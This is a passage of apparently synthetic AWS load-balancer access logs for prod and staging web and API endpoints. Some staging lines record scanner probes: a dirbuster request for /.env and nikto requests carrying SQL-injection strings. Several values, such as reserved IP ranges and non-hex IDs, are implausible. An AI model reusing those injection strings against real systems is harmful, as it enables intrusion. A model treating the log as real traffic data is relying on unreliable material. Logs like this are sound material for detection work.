Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce6d-6ce0e28555454214a9e3b444" "prod-web-alb.example.com" "-" 2 2024-11-01T01:37:33.668429Z "forward" "-" "-" "10.0.181.157:443" "302" "-" "-" +https 2024-11-01T01:37:34.225006Z prod-api-alb 156.61.251.125:38302 10.0.50.213:443 0.033782 0.447644 0.056765 200 200 684 7735 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce6e-d3bbb5f5bf2942e29a44db9c" "prod-api-alb.example.com" "-" 3 2024-11-01T01:37:34.225006Z "forward" "-" "-" "10.0.50.213:443" "200" "-" "-" +https 2024-11-01T01:37:35.522675Z prod-web-alb 245.97.155.15:47028 10.0.79.94:443 0.009967 0.385039 0.016004 200 200 194 12088 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce6f-16a92ea592c14cbb9a9d43c1" "prod-web-alb.example.com" "-" 4 2024-11-01T01:37:35.522675Z "forward" "-" "-" "10.0.79.94:443" "200" "-" "-" +https 2024-11-01T01:37:36.192380Z prod-api-alb 180.231.221.22:53434 10.0.249.252:443 0.051358 0.202403 0.056832 302 302 921 7760 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce70-46ce31ad760845e7965de79b" "prod-api-alb.example.com" "-" 8 2024-11-01T01:37:36.192380Z "forward" "-" "-" "10.0.249.252:443" "302" "-" "-" +https 2024-11-01T01:37:38.019631Z prod-web-alb 197.109.108.17:30878 10.0.156.63:443 0.057886 0.009712 0.031486 200 200 39 9031 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce72-5d5f458e4527431a8ed721aa" "prod-web-alb.example.com" "-" 7 2024-11-01T01:37:38.019631Z "forward" "-" "-" "10.0.156.63:443" "200" "-" "-" +https 2024-11-01T01:37:39.999378Z staging-alb 185.181.110.51:21234 194.126.149.37:8080 0.039477 0.745324 0.112454 401 401 693 12215 "POST /.env HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce73-f6d07be2b4474c7686fcf761" "-" "-" 5 2024-11-01T01:37:39.999378Z "forward" "-" "-" "194.126.149.37:8080" "401" "-" "-" +http 2024-11-01T01:37:41.119382Z staging-alb 189.76.90.198:36519 18.17.40.30:80 0.143811 0.634402 0.032448 200 200 573 2986 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce75-3fce0464462344dcbaf4a634" "staging-alb.example.com" "-" 3 2024-11-01T01:37:41.119382Z "forward" "-" "-" "18.17.40.30:80" "200" "-" "-" +https 2024-11-01T01:37:43.008262Z prod-web-alb 124.71.162.19:28490 10.0.150.116:443 0.051604 0.463523 0.080189 404 404 417 2644 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce77-959ff3c385e9468eae2a65e8" "prod-web-alb.example.com" "-" 7 2024-11-01T01:37:43.008262Z "forward" "-" "-" "10.0.150.116:443" "404" "-" "-" +http 2024-11-01T01:37:44.296211Z staging-alb 193.27.228.11:13783 187.64.248.106:8080 0.116510 0.456762 0.053898 403 403 856 5374 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce78-f25ac2b4c4df4c7ca1141bed" "-" "-" 6 2024-11-01T01:37:44.296211Z "forward" "-" "-" "187.64.248.106:8080" "403" "-" "-" +https 2024-11-01T01:37:45.209469Z prod-web-alb 240.53.2.226:31362 10.0.77.52:443 0.036184 0.064336 0.023631 301 301 579 3631 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce79-5f15812d0aff489aa31ac27a" "prod-web-alb.example.com" "-" 3 2024-11-01T01:37:45.209469Z "forward" "-" "-" "10.0.77.52:443" "301" "-" "-" +https 2024-11-01T01:37:45.325609Z staging-alb 23.19.97.114:53290 211.93.69.151:8080 0.098871 0.745910 0.111934 200 200 450 11315 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce79-10d69c1ae51948788bb555ba" "staging-alb.example.com" "-" 9 2024-11-01T01:37:45.325609Z "forward" "-" "-" "211.93.69.151:8080" "200" "-" "-" +http 2024-11-01T01:37:46.310448Z staging-alb 188.248.62.114:64675 59.195.17.200:80 0.091298 0.353895 0.127224 301 301 832 7180 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce7a-d2d127e525fb4259a52e8e28" "staging-alb.example.com" "-" 5 2024-11-01T01:37:46.310448Z "forward" "-" "-" "59.195.17.200:80" "301" "-" "-" +https 2024-11-01T01:37:47.305919Z prod-web-alb 150.187.39.28:62025 10.0.75.37:443 0.078538 0.458751 0.003191 301 301 610 1106 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce7b-dbd6aac068584ca18b87726d" "prod-web-alb.example.com" "-" 8 2024-11-01T01:37:47.305919Z "forward" "-" "-" "10.0.75.37:443" "301" "-" "-" +https 2024-11-01T01:37:47.452519Z prod-api-alb 107.28.167.165:15284 10.0.191.229:443 0.041803 0.323449 0.091673 302 302 88 14855 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce7b-ed1058a822f04ec49f8607ce" "prod-api-alb.example.com" "-" 0 2024-11-01T01:37:47.452519Z "forward" "-" "-" "10.0.191.229:443" "302" "-" "-" +http 2024-11-01T01:37:48.100198Z staging-alb 202.103.209.157:29132 163.7.140.70:443 0.029452 0.696751 0.067985 200 200 624 2559 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce7c-37bef88108cb429a967de195" "staging-alb.example.com" "-" 0 2024-11-01T01:37:48.100198Z "forward" "-" "-" "163.7.140.70:443" "200" "-" "-" +https 2024-11-01T01:37:49.454338Z staging-alb 151.146.98.231:36314 126.249.34.90:80 0.063429 0.011580 0.136988 404 404 561 8853 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce7d-9100bb5b2d3e4a0a9cb6b539" "staging-alb.example.com" "-" 10 2024-11-01T01:37:49.454338Z "forward" "-" "-" "126.249.34.90:80" "404" "-" "-" +https 2024-11-01T01:37:51.401989Z staging-alb 61.177.211.142:46031 0.40.255.85:8080 0.036610 0.185890 0.065590 301 301 411 831 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce7f-0b1a4bcd756a4179b2f62f05" "staging-alb.example.com" "-" 5 2024-11-01T01:37:51.401989Z "forward" "-" "-" "0.40.255.85:8080" "301" "-" "-" +https 2024-11-01T01:37:52.539891Z prod-web-alb 254.156.19.61:39771 10.0.3.142:443 0.099334 0.059285 0.041223 200 200 526 6376 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce80-4724eb590cfe4335a956dea8" "prod-web-alb.example.com" "-" 4 2024-11-01T01:37:52.539891Z "forward" "-" "-" "10.0.3.142:443" "200" "-" "-" +https 2024-11-01T01:37:53.332144Z prod-web-alb 158.96.127.129:27834 10.0.253.159:443 0.038295 0.136330 0.091367 302 302 217 9807 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce81-f4091c7a25154e6582894355" "prod-web-alb.example.com" "-" 6 2024-11-01T01:37:53.332144Z "forward" "-" "-" "10.0.253.159:443" "302" "-" "-" +http 2024-11-01T01:37:55.134906Z staging-alb 158.52.65.9:60204 197.228.158.3:8080 0.047104 0.174369 0.059242 200 200 247 1996 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce83-6875637835ad4a8abd5e900f" "staging-alb.example.com" "-" 6 2024-11-01T01:37:55.134906Z "forward" "-" "-" "197.228.158.3:8080" "200" "-" "-" +http 2024-11-01T01:37:56.550968Z staging-alb 254.84.42.0:53541 152.57.52.81:8080 0.016800 0.393808 0.107465 200 200 409 12066 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce84-77bf043c52f347fc8f0d970e" "staging-alb.example.com" "-" 10 2024-11-01T01:37:56.550968Z "forward" "-" "-" "152.57.52.81:8080" "200" "-" "-" +http 2024-11-01T01:37:56.753043Z staging-alb 203.105.23.151:62013 215.56.208.244:80 0.128484 0.270512 0.098135 200 200 524 10314 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce84-5703932b187b43acbfdca893" "staging-alb.example.com" "-" 2 2024-11-01T01:37:56.753043Z "forward" "-" "-" "215.56.208.244:80" "200" "-" "-" +http 2024-11-01T01:37:58.236534Z staging-alb 41.156.108.129:64732 169.94.53.46:80 0.020032 0.583250 0.054286 200 200 291 3523 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce86-fa79bbc7204a490cacd56f20" "staging-alb.example.com" "-" 10 2024-11-01T01:37:58.236534Z "forward" "-" "-" "169.94.53.46:80" "200" "-" "-" +https 2024-11-01T01:37:59.842866Z prod-api-alb 220.233.98.96:37005 10.0.230.253:443 0.054500 0.446892 0.002222 200 200 664 14591 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce87-fe4d26cca7574e38a7c3d5cc" "prod-api-alb.example.com" "-" 10 2024-11-01T01:37:59.842866Z "forward" "-" "-" "10.0.230.253:443" "200" "-" "-" +http 2024-11-01T01:38:00.959646Z staging-alb 84.160.32.80:61480 16.151.182.143:8080 0.052000 0.688926 0.086421 200 200 619 9785 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce88-8f4db871b53d450e81b9b372" "staging-alb.example.com" "-" 1 2024-11-01T01:38:00.959646Z "forward" "-" "-" "16.151.182.143:8080" "200" "-" "-" +https 2024-11-01T01:38:02.379798Z prod-web-alb 188.16.249.246:52259 10.0.97.75:443 0.045599 0.468063 0.089632 302 302 731 11542 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce8a-6146ec82c60f43cd90c20661" "prod-web-alb.example.com" "-" 9 2024-11-01T01:38:02.379798Z "forward" "-" "-" "10.0.97.75:443" "302" "-" "-" +https 2024-11-01T01:38:03.793527Z prod-api-alb 8.227.29.126:17658 10.0.113.184:443 0.029348 0.170664 0.039601 200 200 69 6854 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce8b-faa4b780be974f95af4a77a0" "prod-api-alb.example.com" "-" 1 2024-11-01T01:38:03.793527Z "forward" "-" "-" "10.0.113.184:443" "200" "-" "-" +https 2024-11-01T01:38:05.375416Z prod-api-alb 97.14.77.23:22034 10.0.155.24:443 0.009049 0.172868 0.078544 301 301 629 10848 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce8d-0f8c2c1728284344b1401dbd" "prod-api-alb.example.com" "-" 7 2024-11-01T01:38:05.375416Z "forward" "-" "-" "10.0.155.24:443" "301" "-" "-" +https 2024-11-01T01:38:05.646647Z prod-web-alb 146.193.146.12:48783 10.0.17.173:443 0.092109 0.098493 0.021828 200 200 200 1611 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce8d-917f1c23ea74485ca90ee49f" "prod-web-alb.example.com" "-" 0 2024-11-01T01:38:05.646647Z "forward" "-" "-" "10.0.17.173:443" "200" "-" "-" +https 2024-11-01T01:38:07.229744Z prod-web-alb 223.176.124.211:17456 10.0.113.142:443 0.050246 0.384825 0.061169 302 302 740 7237 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce8f-7a0d0544e02d431593d9e996" "prod-web-alb.example.com" "-" 0 2024-11-01T01:38:07.229744Z "forward" "-" "-" "10.0.113.142:443" "302" "-" "-" +https 2024-11-01T01:38:08.994517Z staging-alb 21.210.240.67:56653 30.203.62.32:80 0.092473 0.441524 0.001291 200 200 673 6260 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce90-eb0808a6375f411fa9852d47" "staging-alb.example.com" "-" 5 2024-11-01T01:38:08.994517Z "forward" "-" "-" "30.203.62.32:80" "200" "-" "-" +https 2024-11-01T01:38:09.353988Z prod-web-alb 255.14.106.166:21207 10.0.104.1:443 0.095694 0.212521 0.022491 404 404 224 2439 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce91-fa6723e25b054345aa378d16" "prod-web-alb.example.com" "-" 6 2024-11-01T01:38:09.353988Z "forward" "-" "-" "10.0.104.1:443" "404" "-" "-" +https 2024-11-01T01:38:09.890323Z staging-alb 3.73.167.148:41244 106.226.24.23:80 0.044016 0.169804 0.096098 404 404 648 12424 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce91-5c52f5ee1776493c89179c5b" "staging-alb.example.com" "-" 8 2024-11-01T01:38:09.890323Z "forward" "-" "-" "106.226.24.23:80" "404" "-" "-" +https 2024-11-01T01:38:10.251459Z prod-api-alb 19.86.125.175:48417 10.0.177.211:443 0.053848 0.189745 0.012610 301 301 808 1513 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce92-09f38712532a4ae29e9d77ce" "prod-api-alb.example.com" "-" 2 2024-11-01T01:38:10.251459Z "forward" "-" "-" "10.0.177.211:443" "301" "-" "-" +https 2024-11-01T01:38:10.674149Z prod-web-alb 229.120.33.149:19742 10.0.16.89:443 0.022176 0.356627 0.057519 200 200 748 2245 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce92-4888083109cc445a8c9b61f8" "prod-web-alb.example.com" "-" 6 2024-11-01T01:38:10.674149Z "forward" "-" "-" "10.0.16.89:443" "200" "-" "-" +https 2024-11-01T01:38:11.318542Z prod-web-alb 124.202.120.97:45763 10.0.129.188:443 0.026336 0.095354 0.014620 200 200 152 13597 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ce93-d2adad2b778646db93b34146" "prod-web-alb.example.com" "-" 10 2024-11-01T01:38:11.318542Z "forward" "-" "-" "10.0.129.188:443" "200" "-" "-" +https 2024-11-01T01:38:12.414791Z prod-api-alb 119.164.150.129:48217 10.0.143.57:443 0.052706 0.390656 0.002957 301 301 644 12799 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce94-74ad1564f5354030b2401081" "prod-api-alb.example.com" "-" 9 2024-11-01T01:38:12.414791Z "forward" "-" "-" "10.0.143.57:443" "301" "-" "-" +https 2024-11-01T01:38:12.545461Z prod-api-alb 99.57.13.141:56882 10.0.80.246:443 0.078054 0.192435 0.007841 302 302 587 11213 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce94-7397b8bc920d4f44aa01f4e9" "prod-api-alb.example.com" "-" 1 2024-11-01T01:38:12.545461Z "forward" "-" "-" "10.0.80.246:443" "302" "-" "-" +https 2024-11-01T01:38:14.419527Z prod-web-alb 98.97.134.150:50026 10.0.32.34:443 0.007081 0.363689 0.017078 302 302 767 9434 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce96-b680532e3cd54fc8af47ef9c" "prod-web-alb.example.com" "-" 2 2024-11-01T01:38:14.419527Z "forward" "-" "-" "10.0.32.34:443" "302" "-" "-" +https 2024-11-01T01:38:15.281246Z prod-web-alb 242.224.138.139:58943 10.0.22.118:443 0.003197 0.474251 0.092916 404 404 828 4597 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce97-b7c2f07a668e4045bc1274b5" "prod-web-alb.example.com" "-" 10 2024-11-01T01:38:15.281246Z "forward" "-" "-" "10.0.22.118:443" "404" "-" "-" +https 2024-11-01T01:38:16.486101Z prod-web-alb 98.174.165.118:53549 10.0.127.127:443 0.055767 0.487925 0.012707 200 200 416 3301 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce98-c9ae1d02bf5740edb298c3f9" "prod-web-alb.example.com" "-" 2 2024-11-01T01:38:16.486101Z "forward" "-" "-" "10.0.127.127:443" "200" "-" "-" +http 2024-11-01T01:38:17.685894Z staging-alb 122.1.110.147:60702 52.53.191.216:80 0.113552 0.241186 0.127830 200 200 635 14796 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce99-27c2254dff354b4eb973503e" "staging-alb.example.com" "-" 2 2024-11-01T01:38:17.685894Z "forward" "-" "-" "52.53.191.216:80" "200" "-" "-" +http 2024-11-01T01:38:18.451243Z staging-alb 0.133.182.24:23253 246.148.146.29:80 0.018520 0.710282 0.000974 200 200 724 1481 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ce9a-9c1107adfd524447a004aad4" "staging-alb.example.com" "-" 3 2024-11-01T01:38:18.451243Z "forward" "-" "-" "246.148.146.29:80" "200" "-" "-" +http 2024-11-01T01:38:19.450703Z staging-alb 50.212.76.161:62653 153.24.182.133:80 0.114956 0.234895 0.064906 301 301 737 4650 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce9b-18a17c34e0d84fa4aeaa1753" "staging-alb.example.com" "-" 2 2024-11-01T01:38:19.450703Z "forward" "-" "-" "153.24.182.133:80" "301" "-" "-" +https 2024-11-01T01:38:21.062086Z staging-alb 41.43.100.168:61852 218.42.106.151:443 0.093892 0.484693 0.026481 200 200 413 8082 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce9d-824c939fd03d4fab92a4f344" "staging-alb.example.com" "-" 9 2024-11-01T01:38:21.062086Z "forward" "-" "-" "218.42.106.151:443" "200" "-" "-" +http 2024-11-01T01:38:21.398189Z staging-alb 45.155.205.253:24273 15.231.77.220:8080 0.067537 0.715949 0.051507 403 403 230 11932 "GET /users?id=1 OR 1=1 HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ce9d-9b8bdded44e1473faf55452e" "-" "-" 10 2024-11-01T01:38:21.398189Z "forward" "-" "-" "15.231.77.220:8080" "403" "-" "-" +https 2024-11-01T01:38:22.032802Z prod-api-alb 228.251.200.154:42919 10.0.85.78:443 0.020933 0.307229 0.048486 200 200 21 7845 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ce9e-a462dd83003c463d8f34067e" "prod-api-alb.example.com" "-" 1 2024-11-01T01:38:22.032802Z "forward" "-" "-" "10.0.85.78:443" "200" "-" "-" +https 2024-11-01T01:38:23.937998Z prod-web-alb 128.148.210.202:27150 10.0.169.109:443 0.025024 0.342176 0.066495 200 200 973 8475 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ce9f-8542820275de4fe7a23aa19c" "prod-web-alb.example.com" "-" 10 2024-11-01T01:38:23.937998Z "forward" "-" "-" "10.0.169.109:443" "200" "-" "-" +https 2024-11-01T01:38:25.867366Z prod-web-alb 